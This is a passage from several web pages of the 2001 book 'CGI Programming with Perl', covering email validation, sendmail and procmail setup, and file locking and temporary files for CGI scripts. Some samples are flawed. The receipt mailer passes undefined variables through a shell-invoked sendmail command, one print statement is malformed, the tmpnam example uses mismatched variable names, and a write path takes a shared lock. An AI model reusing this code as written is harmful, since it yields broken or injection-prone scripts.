One note, however: the variable $top_level contains the expression that matches valid top-level domains. Our current top level domains have two (e.g., .us, .uk, .au, etc.) or three letters (e.g., .com, .org, .net, etc.). The number of top-level domains will certainly increase. Some of the proposed new names, such as .firm, have more than three characters. Thus, the regular expression below will allow anywhere from two to four characters:

my $top_level   = qq{ (?: $atom_char ){2,4} };

If you want to be more restrictive today, you can limit it to three. Likewise, if top-level domains with more than four characters are someday allowed, you would need to increase it.

Finally, here's the code:

sub validate_email_address {
    my $addr_to_check = shift;
    $addr_to_check =~ s/("(?:[^"\\]|\\.)*"|[^\t "]*)[ \t]*/$1/g;

    my $esc         = '\\\\';
    my $space       = '\040';
    my $ctrl        = '\000-\037';
    my $dot         = '\.';
    my $nonASCII    = '\x80-\xff';
    my $CRlist      = '\012\015';
    my $letter      = 'a-zA-Z';
    my $digit       = '\d';

    my $atom_char   = qq{ [^$space<>\@,;:".\\[\\]$esc$ctrl$nonASCII] };
    my $atom        = qq{ $atom_char+ };
    my $byte        = qq{ (?: 1?$digit?$digit |
                              2[0-4]$digit    |
                              25[0-5]         ) };

    my $qtext       = qq{ [^$esc$nonASCII$CRlist"] };
    my $quoted_pair = qq{ $esc [^$nonASCII] };
    my $quoted_str  = qq{ " (?: $qtext | $quoted_pair )* " };

    my $word        = qq{ (?: $atom | $quoted_str ) };
    my $ip_address  = qq{ \\[ $byte (?: $dot $byte ){3} \\] };
    my $sub_domain  = qq{ [$letter$digit]
                          [$letter$digit-]{0,61} [$letter$digit]};
    my $top_level   = qq{ (?: $atom_char ){2,4} };
    my $domain_name = qq{ (?: $sub_domain $dot )+ $top_level };
    my $domain      = qq{ (?: $domain_name | $ip_address ) };
    my $local_part  = qq{ $word (?: $dot $word )* };
    my $address     = qq{ $local_part \@ $domain };

    return $addr_to_check =~ /^$address$/ox ? $addr_to_check : "";
}

If you supply an email address to validate_email_address, it will strip out any spaces or tabs that are not within quotes. We're being a little lenient here since spaces within elements (as opposed to spaces around elements) are actually illegal, but we'll just strip them in this step along with the legal spaces. We then check the address against our regular expression. If it matches, the email address is valid and is returned (without spaces). Otherwise, an empty string is returned, which evaluates to false in Perl. You can use the subroutine like so:

use strict;
use CGI;
use CGIBook::Error;

my $q     = new CGI;
my $email = validate_email_address( $q->param( "email" ) );

unless ( $email ) {
    error( $q, "The email address you entered is invalid. " .
               "Please use your browser's Back button to " .
               "return to the form and try again." );
}
.
.

If you were planning to check multiple email addresses or intended to use this in an environment where your Perl code is precompiled (like mod_perl or FastCGI), then you could optimize this code by building the regular expression once and caching this expression. However, this example is intended more to demonstrate why validating email addresses is a challenge than to be used in production (it does not resolve the issue that an email address can be syntactically valid yet bad).

Previous | Home | Next
9. Sending Email | Book Index | 9.3. Structure of Internet Email
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Structure of Internet Email (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

9.3. Structure of Internet Email

Email messages are documents containing headers and a body separated by a blank line. Each header contains a field name followed by a colon, some space, and a value. Does this sound familiar? In a basic sense, Internet mail messages are similar in structure to HTTP messages. There are also a number of differences of course: there is no request line or status line; email messages are text documents (binary attachments must be encoded as text before being sent); and most of the field names are different. But if you recall the basic header and body format from our earlier HTTP discussion, that will help you understand how to create email messages.

Some header fields hold email addresses. These can support the full syntax of email addresses that we saw earlier, including the recipient's name in addition to the email address itself, like so:

Mary Smith <mary@somewhere.com>

The shorter mary@somewhere.com is also acceptable.

There are only a few header fields you need to include in email messages: who it is to, who it is from, and what it is about. The first of these fields is actually any of three fields: To , Cc, and Bcc. To and Cc (which stands for carbon-copy) contain the email addresses of any of the recipients of the message. The Bcc field (which stands for blind carbon-copy) does likewise but is deleted from the message before it is sent. The From field contains the email address of the person the message is from. If you want replies to be directed elsewhere, you may also specify that email address in the Reply-To field. Finally, the Subject field contains a summary of the email address.

So far, this is all pretty basic; all of us have received email before. There is, however, a subtle distinction that is important to note. Internet email is in some ways similar to real paper mail: it has a message, which can contain anything, inside an envelope, and the envelope carries the routing information. On formal letters, you often add the recipient's address information to the top of the message; however, it's quite possible to put a message addressed this way in an envelope that is actually addressed and routed to someone else. The same thing is possible with Internet email. The To, Cc, Bcc, and From fields are actually part of the message. They do not determine any of the routing information and do not need to match who the message truly is to or from. You have probably received spam that, according to the To field, appeared to be addressed to someone other than you; likewise, the recipient listed in the From field on most spam is not the true sender. However, for our purposes, we typically do want the address information and these fields to line up. We'll explore this more when we review each of the mailers below.

There are many other important fields that appear in the headers of email addresses, but mailers take care of adding these for you, so we won't include them in our discussion.

Previous | Home | Next
9.2. Email Addresses | Book Index | 9.4. sendmail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


sendmail (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

9.4. sendmail

Without sendmail , Internet email might not exist. Although other mail transport agents (MTAs) do exist, the vast majority of mail servers on the Internet all run sendmail. It was originally written by Eric Allman starting around 1980 and, as we mentioned earlier, the Internet was very different then. sendmail tackled the formidable task of transferring mail between very different networks. Thus, it has never been a simple program, and it has grown. It has become one of the most complicated applications to ever fully understand; the number of command-line flags and configuration parameters it now accepts is truly mind-boggling. Fortunately, we only need to learn a few things in order to have it send messages for us. If you want to learn more about sendmail, see sendmail by Bryan Costales with Eric Allman (O'Reilly & Associates, Inc.).

sendmail generally comes preinstalled on Unix machines and has recently been ported to Windows NT. On Unix, it is often installed in /usr/lib/sendmail, but /usr/sbin/sendmail and /usr/ucb/lib/sendmail are also possible locations. These examples will use /usr/lib/sendmail as the location of the sendmail program. If your copy is installed elsewhere, simply replace this with the path to your copy of sendmail.

9.4.1. Command-Line Options

You generally want to call sendmail with at least a couple of command-line options. When sending a message, sendmail assumes it is being run interactively by a user, so it sets the sender to be that of the user, and it allows the user to enter a period on its own line to signal the end of the message. You can override these settings and will probably want to. In addition, if you are sending multiple email messages, you may wish to queue them so that sendmail can deliver them asynchronously without pausing to deliver each one.

Table 9-1 lists the important options you should know.

Table 9-1. Common sendmail Options

Option

Description

-t

Read To, Cc, and Bcc from the message headers.

-f "email address"

Make the message appear to be From the specified email address.

-F "full name"

Make the message appear to be From the specified name.

-i

Ignore periods on lines by themselves.

-odq

Queue messages to be sent later instead of processing them one at a time.

Example 9-1 is a short CGI script in Perl that uses many of these options.

Example 9-1. feedback_sendmail.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;

# Clean up environment for taint mode before calling sendmail
BEGIN {
    $ENV{PATH} = "/bin:/usr/bin";
    delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) };
}

my $q       = new CGI;
my $email   = validate_email_address( $q->param( "email" ) );
my $message = $q->param( "message" );

unless ( $email ) {
    print $q->header( "text/html" ),
          $q->start_html( "Invalid Email Address" ),
          $q->h1( "Invalid Email Address" ),
          $q->p( "The email address you entered is invalid. " .
                 "Please use your browser's Back button to " .
                 "return to the form and try again." );
          $q->end_html;
    exit;
}

send_feedback( $email, $message );
send_receipt( $email );

print $q->redirect( "/feedback/thanks.html" );

sub send_feedback {
    my( $email, $message ) = @_;

    open MAIL, "| /usr/lib/sendmail -t -i"
        or die "Could not open sendmail: $!";

    print MAIL <<END_OF_MESSAGE;
To: webmaster\@scripted.com
Reply-To: $email
Subject: Web Site Feedback

Feedback from a user:

$message
END_OF_MESSAGE
    close MAIL or die "Error closing sendmail: $!";
}

sub send_receipt {
    my $email = shift;

    open MAIL, "| /usr/lib/sendmail -t -F'$from_name' -f'$from_email'"
        or die "Could not open sendmail: $!";
    print MAIL <<END_OF_MESSAGE;
To: $email
Subject: Your feedback

Your message has been sent and someone should be responding to you
shortly. Thanks for taking the time to provide us with your feedback!
END_OF_MESSAGE
    close MAIL or die "Error closing sendmail: $!";
}

We collect two pieces of information from the user: an email address and a message to send to customer service. We validate the email address according to the subroutine earlier in this chapter, but we don't include the code for that subroutine here. The script then composes two messages and forwards users to a static page to thank them.

The first message goes to customer service. It uses the -t option as well as the -i option. The -i option is a good idea if the message includes any dynamic information. It prevents a single dot from prematurely ending the email message.

The -t option is the most important of these options. It tells sendmail to read the routing information for the recipient from the message itself. Otherwise you have to provide the recipient's email address on the command line. Generally, you call sendmail like this:

/usr/lib/sendmail mary@somewhere.com

sendmail then reads the message including the headers and body from its STDIN and sends the message on to Mary, even if the To, Cc, or Bcc fields say it should go elsewhere! This can get confusing.

You should always use the -t flag. First, it makes your life easier, since it automatically handles the To, Cc, and Bcc fields. Second, it lets you avoid that awful security risk of passing user data through the shell. Many times you will be sending email to an address that was entered into an HTML form, so being able to simply include the email address in the body of the message instead is another big win.

Once this message has been sent, the script sends a confirmation to the user. It also uses the -t option here, and here we see the security benefit. The email address comes from the user, but we don't have to worry about passing it through the shell.

In this second email, we also use two other fields to override the sender's routing information. sendmail will not automatically read the sender's email address from the headers as it does for the -t option. This must be specified with the -f and -F options. There are two options in order to support the extended address notation including a name and an email address in this form:

The Webmaster <webmaster@scripted.com>

It is important to override the sender's routing information because if the message to Mary bounces, it will come back to the original sender, and if the user that the web server runs as has a standard account with a mail box, bounced messages will collect there. If it has no mail account, then they'll bounce back and forth either until they time out or some system administrator gets annoyed at the increased network traffic and steps in. Ideally, your system should be configured so that any mail addressed to nobody (the user your web server runs as) is automatically forwarded to the webmaster. If this hasn't been done, or you aren't sure, then it's a good idea to set the -f option to a real email address that someone monitors or that is processed automatically. We'll see how to set up a process to handle mail like this at the end of this chapter.

Note that if you do override the sender's email address with the -f option, sendmail will add an extra header to the email message unless you are a trusted user. This extra header typically looks like the following:

X-Authentication-Warning: scripted.com: sguelich set sender to nobody@scripted.com using -f

By default, the users who have permission to use the -f option without generating this warning are root, daemon, and uucp. Most mail agents do not actually pay attention to this header, so it is rare that recipients will see it. However, you can avoid sending it by adding nobody to the trusted users section in /etc/sendmail.cf.

9.4.2. Mail Queue

The remaining option we haven't discussed is the -odq option. It is useful if you are sending out many messages at the same time. For example, you may run a web site that connects job hunters with available positions. You have the job hunters record keywords describing the types of positions they are looking for in a database along with their email addresses. Then, when the new positions available today have been entered, you start a CGI script which matches the job hunters' keywords against the positions. The script generates and sends out customized messages to the job hunters notifying them if there are any matches. In this example, you would want to use the -odq option. It takes sendmail time to find remote servers and deliver messages, so your script runs much, much faster if you simply add them to the queue to be processed separately and don't wait for sendmail to try to deliver each message.

You do need to make sure that sendmail is configured on your system to process the queue or the messages may just sit around indefinitely. If you aren't sure, ask your system administrator.

Also note that queuing messages this way is only a good idea if each message you are sending out is unique. If you are sending the same message to multiple people, don't queue a separate message addressed to each person, use the Bcc field instead.

Previous | Home | Next
9.3. Structure of Internet Email | Book Index | 9.5. mailx and mail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mailx and mail (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

9.5. mailx and mail

mailx and mail are other popular options for sending email. Some people even argue that they are more secure than sendmail. It is true that because sendmail is such a large, complicated program, and because it runs as root, it has been the source of a number of security holes over the years. However, the notion that it is a less secure option in CGI scripts is a dubious one. One serious problem with mailx and mail is that they allow tilde escapes: any line in the body of the message beginning with ~! is executed as a command. Many versions do attempt to detect whether they are being run by a user on a terminal and disable tilde escapes otherwise, but this is a serious potential risk.

A second problem with mailx and mail is that they offer nothing comparable to sendmail 's -t option. Thus, if you want to use mail, for example, you must use the fork and exec trick we described in the last chapter:

open MAIL "|-" or exec( "/bin/mail", $email ) or
    die "Cannot exec mail $!";

Finally, mailx and mail also lack the useful options we discussed with sendmail, such as overriding the sender.

Previous | Home | Next
9.4. sendmail | Book Index | 9.6. Perl Mailers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Mailers (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

9.6. Perl Mailers

There are other programs you can use for sending mail, but they are not as common. Some of these, such as blat, provide simple mailers for Windows systems. Instead of looking at these, we'll look at a Perl solution that works across all operating systems.

Mail::Mailer is a popular Perl module for sending Internet email. It provides a simple interface for sending messages with sendmail and mail (or mailx). It also allows you to send messages via SMTP without an external application, which makes it possible to send messages on non-Unix systems like Windows and even the MacOS.

You can use Mail::Mailer this way:

my $mailer = new Mail::Mailer ( "smtp" );
$mailer->open( {
    To       => $email,
    From     => 'The Webmaster <webmaster@scripted.com>',
    Subject  => 'Web Site Feedback'
} );

print $mailer <<END_OF_MESSAGE;
Your message has been sent and someone should be responding to you
shortly. Thanks for taking the time to provide us with your feedback!
END_OF_MESSAGE

close $mailer;

When you create a Mail::Mailer object, you can specify whether you want it to send the message one of three ways:

mail

Mail::Mailer will search your system for mailx, Mail, or mail in that order and use the first one it finds (we didn't discuss Mail, although on many systems Mail and mail are the same -- mail is simply a symlink to Mail ).

sendmail

Mail::Mailer will use sendmail to send mail.

smtp

Mail::Mailer will use the Net::SMTP Perl module to send mail.

If you do not specify an argument when you create an object, Mail::Mailer will search through each of these three options in order and use the first one it finds When Mail::Mailer uses an external mailer, it uses the fork and exec technique to avoid passing arguments through the shell.

Mail::Mailer is primarily useful when you use it to send mail via SMTP on systems without sendmail. Even though it allows you to use sendmail as its mailer, there is no way for you to specify command-line options the way you can if you use sendmail directly. Mail::Mailer only uses the -t option when it calls sendmail.

To send mail directly through SMTP with Mail::Mailer, you need to have the Net::SMTP module, which is part of the libnet bundle available on CPAN. When you install this module, it should ask you for the SMTP server you use on your network. If this was not configured when the module was installed, you have two options. You can edit the installed Net/Config.pm file in your Perl libraries folder and add your SMTP server to the smtp_hosts element of the NetConfig hash at the bottom of the file, or you can specify it when you create a Mail::Mailer object. You can do so like this:

my $mailer = new Mail::Mailer ( "smtp", Server => $server );

In this example, $server would contain the name of your SMTP server. Your network administrator or internet service provider should be able to provide you with the name of this machine.

Previous | Home | Next
9.5. mailx and mail | Book Index | 9.7. procmail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


procmail (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

9.7. procmail

If your CGI scripts send out email, procmail is a very handy tool to learn, but it is only available for Unix. If you are on a Unix system and you do not have it, you can download it from http://www.procmail.org. procmail is a filtering application that allows you to automatically process email based on virtually any criteria. It's not simple, of course; few powerful tools are. And again, like the other tools presented in this chapter, we won't be able to discuss it in great detail here. Instead, we'll look at a couple configurations that should handle your basic needs. If you want to learn more, you can find links to several useful resources including quick-start guides and FAQs at http://www.iki.fi/era/procmail/. Also, don't forget to review the manpage; most of these online resources assume you have done this already. You may not normally enjoy reading manpages, but the procmail man pages are very well written and include numerous examples.

In order to run procmail, you need to create two files in your home directory (or the home directory of the user whose mail you want to forward). The first file, .forward , is used by sendmail when it delivers mail to your account. That file should be set up to it to direct sendmail to run procmail, and procmail uses the .procmailrc file to process the message. It is possible to have procmail set up as the mail transport agent on your system, instead of sendmail; in that case, you do not need the .forward file. Check with your system administrator to see if this is the case.

Your .forward file needs to include only the following line:

"|IFS=' '&&exec /usr/local/bin/procmail -f-||exit 75 #YOUR_USERNAME"

All of the quotes are necessary, there is only one space between the single quotes, you must supply the full path to procmail, and you should of course replace YOUR_USERNAME with your own username (or something to make this line different from the line in other users' .forward files).

9.7.1. Autoreply from nobody

Now all we need to do is create a .procmailrc file. The .procmailrc file contains rules and a command to execute if the rule matches. In this example, we will create only one rule that sends an autoreply to all incoming messages. This would be handy if messages sent to the user that the web server runs as are not redirected. If your web server runs as a valid user named nobody, you could place this in nobody's home directory. Here is the .procmailrc file:

## This is your email address
EMAIL_ADDRESS=nobody@your-domain.com

## Uncomment and edit this line if sendmail isn't at /usr/lib/sendmail
#SENDMAIL=/path/to/sendmail

## If we get a message, verify that it wasn't sent by a mail daemon
## or isn't one of our marked messages. If not, then reply to it using
## the contents of the autoreply.txt file as the body of the message
## and mark the message by adding an X-Loop header.
:0 h
* !^FROM_DAEMON
* !^X-Loop: $EMAIL_ADDRESS
| ( formail -r -A"X-Loop: $EMAIL_ADDRESS"; \
    cat "$HOME/autoreply.txt"            ) | $SENDMAIL -t

## Throw away the messages we're not replying to
:0
/dev/null

We'll briefly review what this file does. For more detailed information, refer to one of the references listed earlier. First, it sets the $EMAIL_ADDRESS variable to the email address of the account receiving this mail. Next, it should specify the path to sendmail if it is something other than the path that procmail defaults to (typically either /usr/lib/sendmail or /usr/sbin/sendmail ). The remaining lines are rules.

All rules start with :0. The first rule also has an h option indicating that we are only interested in the message headers of the incoming message; its body will not be included in our reply. All the lines that begin with * are conditions. Basically, any message that doesn't look like it was generated by a daemon process (this includes bounced mail, mailing lists, etc.) and doesn't include an X-Loop header with our email address in it should be processed by this rule. We'll see why we check for this header in a moment.

The message is processed by piping the headers through formail , a helper application included with procmail. It constructs a reply to the given headers and adds an X-Loop header containing our email address. The reason for adding this to our replies and checking for it in incoming messages is to avoid endless loops. If our CGI script sends a message that bounces (because of an invalid email address, a full account, etc.) and comes back to us, and we automatically reply to it, our reply will also bounce. This could go on forever, but if we add an X-Loop header, that should be maintained within replies so we will know if we see it that we have already replied to this message and to not process another reply. The check for whether the message was generated by a daemon should actually prevent us from replying to a bounce, but the daemon check isn't foolproof, so the X-Loop check is a good way to be safe.

formail takes care of the headers for us, and then we cat the contents of the autoreply.txt file in our home directory. You should create a message in this file appropriate to your site, saying something to the effect that this email address is not used and providing an alternative email address to the recipient. The final results of both the headers and the body are piped to sendmail, which reads the headers and delivers our new reply.

The remaining rule in the file has no conditions. It catches all messages that are not processed by the preceding rule, in other words, all messages that are sent by daemons or that have already been replied to. These messages are simply discarded by moving them to /dev/null.

9.7.2. Forwarding to Another User

It is also possible to simply forward all messages to another user. There are better alternatives than procmail for doing this. Specifically, sendmail allows aliases to be created to redirect mail sent from one email address to another. However, if you cannot get your system administrator to create an alias for you, here is a .procmail file that forwards all incoming mail to another email address:

## This is the email address to forward to
FORWARD_TO=webmaster@your-domain.com

## Uncomment and edit this line if sendmail isn't at /usr/lib/sendmail
#SENDMAIL=/path/to/sendmail

## Forward all messages
:0
! $FORWARD_TO

As you can see, procmail provides you with a number of options for automatically processing email. In one of our examples earlier, we piped the headers of incoming messages through formail. We could have just as easily piped the headers, the body, or the whole message through a Perl script and thus be able to react to every email that arrives. For example, you might want to flag or delete a database record when mail you send to that user is returned as undeliverable. That's just one example; you can probably think of others specific to your site.

Previous | Home | Next
9.6. Perl Mailers | Book Index | 10. Data Persistence
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Persistence (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 10. Data Persistence

Contents:

Text Files
DBM Files
Introduction to SQL
DBI

Many basic web applications can be created that output only email and web documents. However, if you begin building larger web applications, you will eventually need to store data and retrieve it later. This chapter will discuss various ways to do this with different levels of complexity. Text files are the simplest way to maintain data, but they quickly become inefficient when the data becomes complex or grows too large. A DBM file provides much faster access, even for large amounts of data, and DBM files are very easy to use with Perl. However, this solution is also limited when the data grows too complex. Finally, we will investigate relational databases. A relational database management system (RDBMS) provides high performance even with complex queries. However, an RDBMS is more complicated to set up and use than the other solutions.

Applications evolve and grow larger. What may start out as a short, simple CGI script may gain feature upon feature until it has grown to a large, complex application. Thus, when you design web applications, it is a good idea to develop them so that they are easily expandable.

One solution is to make your solutions modular. You should try to abstract the code that reads and writes data so the rest of the code does not know how the data is stored. By reducing the dependency on the data format to a small chunk of code, it becomes easier to change your data format as you need to grow.

10.1. Text Files

One of Perl's greatest strengths is its ability to parse text, and this makes it especially easy to get a web application online quickly using text files as the means of storing data. Although it does not scale to complex queries, this works well for small amounts of data and is very common for Perl CGI applications. We're not going to discuss how to use text files with Perl, since most Perl programmers are already proficient at that task. We're also not going to look at strategies like creating random access files to improve performance, since that warrants a lengthy discussion, and a DBM file is generally a better substitute. We'll simply look at the issues that are particular to using text files with CGI scripts.

10.1.1. Locking

If you write to any files from a CGI script, then you must use some form of file locking. Web servers support numerous concurrent connections, and if two users try to write to the same file at the same time, the result is generally corrupted or truncated data.

10.1.1.1. flock

If your system supports it, using the flock command is the easiest way to do this. How do you know if your system supports flock? Try it: flock will die with a fatal error if your system does not support it. However, flock works reliably only on local files; flock does not work across most NFS systems, even if your system otherwise supports it.[19] flock offers two different modes of locking: exclusive and shared. Many processes can read from a file simultaneously without problems, but only one process should write to the file at a time (and no other process should read from the file while it is being written). Thus, you should obtain an exclusive lock on a file when writing to it and a shared lock when reading from it. The shared lock verifies that no one else has an exclusive lock on the file and delays any exclusive locks until the shared locks have been released.

[19]If you need to lock a file across NFS, refer to the File::LockDir module in Perl Cookbook (O'Reilly & Associates, Inc.).

To use flock, call it with a filehandle to an open file and a number indicating the type of lock you want. These numbers are system-dependent, so the easiest way to get them is to use the Fcntl module. If you supply the :flock argument to Fcntl, it will export LOCK_EX, LOCK_SH, LOCK_UN, and LOCK_NB for you. You can use them as follows:

use Fcntl ":flock";

open FILE, "some_file.txt" or die $!;
flock FILE, LOCK_EX;    # Exclusive lock
flock FILE, LOCK_SH;    # Shared lock
flock FILE, LOCK_UN;    # Unlock

Closing a filehandle releases any locks, so there is generally no need to specifically unlock a file. In fact, it can be dangerous to do so if you are locking a filehandle that uses Perl's tie mechanism. See file locking in the DBM section of this chapter for more information.

Some systems do not support shared file locks and use exclusive locks for them instead. You can use the script in Example 10-1 to test what flock supports on your system.

Example 10-1. flock_test.pl

#!/usr/bin/perl -wT

use IO::File;
use Fcntl ":flock";

*FH1 = new_tmpfile IO::File or die "Cannot open temporary file: $!\n";

eval { flock FH1, LOCK_SH };
$@ and die "It does not look like your system supports flock: $@\n";

open FH2, ">> &FH1" or die "Cannot dup filehandle: $!\n";

if ( flock FH2, LOCK_SH | LOCK_NB ) {
    print "Your system supports shared file locks\n";
}
else {
    print "Your system only supports exclusive file locks\n";
}

If you need to both read and write to a file, then you have two options: you can open the file exclusively for read/write access, or if you only have to do limited writing and what you're writing does not depend on the contents of the file, you can open and close the file twice: once shared for reading and once exclusive for writing. This is generally less efficient than opening the file once, but if you have lots of processes needing to access the file that are doing lots of reading and little writing, it may be more efficient to reduce the time that one process is tying up the file while holding an exclusive lock on it.

Typically when you use flock to lock a file, it halts the execution of your script until it can obtain a lock on your file. The LOCK_NB option tells flock that you do not want it to block execution, but allow your script to continue if it cannot obtain a lock. Here is one way to time out if you cannot obtain a lock on a file:

my $count = 0;
my $delay = 1;
my $max   = 15;

open FILE, ">> $filename" or
    error( $q, "Cannot open file: your data was not saved" );

until ( flock FILE, LOCK_SH | LOCK_NB ) {
    error( $q, "Timed out waiting to write to file: " .
                     "your data was not saved" ) if $count >= $max;
    sleep $delay;
    $count += $delay;
}

In this example, the code tries to get a lock. If it fails, it waits a second and tries again. After fifteen seconds, it gives up and reports an error.

10.1.1.2. Manual lock files

If your system does not support flock, you will need to manually create your own lock files. As the Perl FAQ points out (see perlfaq5 ), this is not as simple as you might think. The problem is that you must check for the existence of a file and create the file as one operation. If you first check whether a lock file exists, and then try to create one if it does not, another process may have created its own lock file after you checked, and you just overwrote it.

To create your own lock file, use the following command:

use Fcntl;
.
.
.
sysopen LOCK_FILE, "$filename.lock", O_WRONLY | O_EXCL | O_CREAT, 0644
    or error( $q, "Unable to lock file: your data was not saved" ):

The O_EXCL function provided by Fcntl tells the system to open the file only if it does not already exist. Note that this will not reliably work on an NFS filesystem.

10.1.2. Write Permissions

In order to create or update a text file, you must have the appropriate permissions. This may sound basic, but it is a common source of errors in CGI scripts, especially on Unix filesystems. Let's review how Unix file permissions work.

Files have both an owner and a group. By default, these match the user and group of the user or process who creates the file. There are three different levels of permissions for a file: the owner's permissions, the group's permissions, and everyone else's permissions. Each of these may have read access, write access, and/or execute access for a file.

Your CGI scripts can only modify a file if nobody (or the user your web server runs as) has write access to the file. This occurs if the file is writable by everyone, if it is writable by members of the file's group and nobody is a member of that group, or if nobody owns the file and the file is writable by its owner.

In order to create or remove a file, nobody must have write permission to the directory containing the file. The same rules about owner, group, and other users apply to directories as they do for files. In addition, the execute bit must be set for the directory. For directories, the execute bit determines scan access, which is the ability to change to the directory.

Even though your CGI script may not modify a file, it may be able to replace it. If nobody has permission to write to a directory, then it can remove files in the directory in addition to creating new files, even with the same name. Write permissions on the file do not typically affect the ability to remove or replace the file as a whole.

10.1.3. Temporary Files

Your CGI scripts may need to create temporary files for a number of reasons. You can reduce memory consumption by creating files to hold data as you process it; you gain efficiency by sacrificing performance. You may also use external commands that perform their actions on text files.

10.1.3.1. Anonymous temporary files

Typically, temporary files are anonymous; they are created by opening a handle to a new file and then immediately deleting the file. Your CGI script will continue to have a filehandle to access the file, but the data cannot be accessed by other processes, and the data will be reclaimed by the filesystem once your CGI script closes the filehandle. (Not all systems support this feature.)

As for most common tasks, there is a Perl module that makes managing temporary files much simpler. IO::File will create anonymous temporary files for you with the new_tmpfile class method; it takes no arguments. You can use it like this:[20]

[20]Actually, if the filesystem does not support anonymous temporary files, then IO::File will not create it anonymously, but it's still anonymous to you since you cannot get at the name of the file. IO::File will take care of managing and deleting the file for you when its filehandle goes out of scope or your script completes.

use IO::File;
.
.
.
my $tmp_fh = new_tmpfile IO::File;

You can then read and write to $tmp_fh just as you would any other filehandle:

print $tmp_fh "</html>\n";

seek $tmp_fh, 0, 0;
while (<$tmp_fh>) {
    print;
}

10.1.3.2. Named temporary files

Another option is to create a file and delete it when you are finished with it. One advantage is that you have a filename that can be passed to other processes and functions. Also, using the IO::File module is considerably slower than managing the file yourself. However, using named temporary files has two drawbacks. First, greater care must be taken choosing a unique filename so that two scripts will not attempt to use the same temporary file at the same time. Second, the CGI script must delete the file when it is finished, even if it encounters an error and exits prematurely.

The Perl FAQ suggests using the POSIX module to generate a temporary filename and an END block to ensure it will be cleaned up:

use Fcntl;
use POSIX qw(tmpnam);
.
.
.
my $tmp_filename;

# try new temporary filenames until we get one that doesn't already
# exist; the check should be unnecessary, but you can't be too careful
do { $tmp_filename = tmpnam(  ) }
    until sysopen( FH, $name, O_RDWR|O_CREAT|O_EXCL );

# install atexit-style handler so that when we exit or die,
# we automatically delete this temporary file
END { unlink( $tmp_filename ) or die "Couldn't unlink $name: $!" }

If your system doesn't support POSIX, then you will have to create the file in a system-dependent fashion instead.

10.1.4. Delimiters

If you need to include multiple fields of data in each line of your text file, you will likely use delimiters to separate them. Another option is to create fixed-length records, but we won't get into these files here. Common characters to use for delimiting files are commas, tabs, and pipes (|).

Commas are primarily used in CSV files, which we will discuss presently. CSV files can be difficult to parse accurately because they can include non-delimiting commas as part of a value. When working with CSV files, you may want to consider the DBD::CSV module; this gives you a number of additional benefits, which we will discuss shortly.

Tabs are not generally included within data, so they make convenient delimiters. Even so, you should always check your data and encode or remove any tabs or end-of-line characters before writing to your file. This ensures that your data does not become corrupted if someone happens to pass a newline character in the middle of a field. Remember, even if you are reading data from an HTML form element that would not normally accept a newline character as part of it, you should never trust the user or that user's browser.

Here is an example of functions you can use to encode and decode data:

sub encode_data {
    my @fields = map {
        s/\\/\\\\/g;
        s/\t/\\t/g;
        s/\n/\\n/g;
        s/\r/\\r/g;
        $_;
    } @_;

    my $line = join "\t", @fields;
    return "$line\n";
}

sub decode_data {
    my $line = shift;

    chomp $line;
    my @fields = split /\t/, $line;

    return map {
        s/\\(.)/$1 eq 't' and "\t" or
                $1 eq 'n' and "\n" or
                $1 eq 'r' and "\r" or
                "$1"/eg;
        $_;
    } @fields;
}

These functions encode tabs and end-of-line characters with the common escape characters that Perl and other languages use (\t, \r, and \n). Because it is introducing additional backslashes as an escape character, it must also escape the backslash character.

The encode_data sub takes a list of fields and returns a single encoded scalar that can be written to the file; decode_data takes a line read from the file and returns a list of decoded fields. You can use them as shown in Example 10-2.

Example 10-2. sign_petition.cgi

#!/usr/bin/perl -wT

use strict;
use Fcntl ":flock";
use CGI;
use CGIBook::Error;

my $DATA_FILE = "/usr/local/apache/data/tab_delimited_records.txt";

my $q       = new CGI;
my $name    = $q->param( "name" );
my $comment = substr( $q->param( "comment" ), 0, 80 );

unless ( $name ) {
    error( $q, "Please enter your name." );
}

open DATA_FILE, ">> $DATA_FILE" or die "Cannot append to $DATA_FILE: $!";
flock DATA_FILE, LOCK_EX;
seek DATA_FILE, 0, 2;

print DATA_FILE encode_data( $name, $comment );
close DATA_FILE;

print $q->header( "text/html" ),
      $q->start_html( "Our Petition" ),
      $q->h2( "Thank You!" ),
      $q->p( "Thank you for signing our petition. ",
             "Your name has been been added below:" ),
      $q->hr,
      $q->start_table,
      $q->tr( $q->th( "Name", "Comment" ) );

open DATA_FILE, $DATA_FILE or die "Cannot read $DATA_FILE: $!";
flock DATA_FILE, LOCK_SH;

while (<DATA_FILE>) {
    my @data = decode_data( $_ );
    print $q->tr( $q->td( @data ) );
}
close DATA_FILE;

print $q->end_table,
      $q->end_html;

sub encode_data {
    my @fields = map {
        s/\\/\\\\/g;
        s/\t/\\t/g;
        s/\n/\\n/g;
        s/\r/\\r/g;
        $_;
    } @_;

    my $line = join "\t", @fields;
    return $line . "\n";
}

sub decode_data {
    my $line = shift;

    chomp $line;
    my @fields = split /\t/, $line;

    return map {
        s/\\(.)/$1 eq 't' and "\t" or
                $1 eq 'n' and "\n" or
                $1 eq 'r' and "\r" or
                "$1"/eg;
        $_;
    } @fields;
}

Note that organizing your code this way gives you another benefit. If you later decide you want to change the format of your data, you do not need to change your entire CGI script, just the encode_data and decode_data functions.

10.1.5. DBD::CSV

As we mentioned at the beginning of this chapter, it's great to modularize your code so that changing the data format affects only a small chunk of your application. However, it's even better if you don't have to change that chunk either. If you are creating a simple application that you expect to grow, you may want to consider developing your application using CSV files. CSV (comma separated values) files are text files formatted such that each line is a record, and fields are delimited by commas. The advantage to using CSV files is that you can use Perl's DBI and DBD::CSV modules, which allow you to access the data via basic SQL queries just as you would for an RDBMS. Another benefit of CSV format is that it is quite common, so you can easily import and export it from other applications, including spreadsheets like Microsoft Excel.

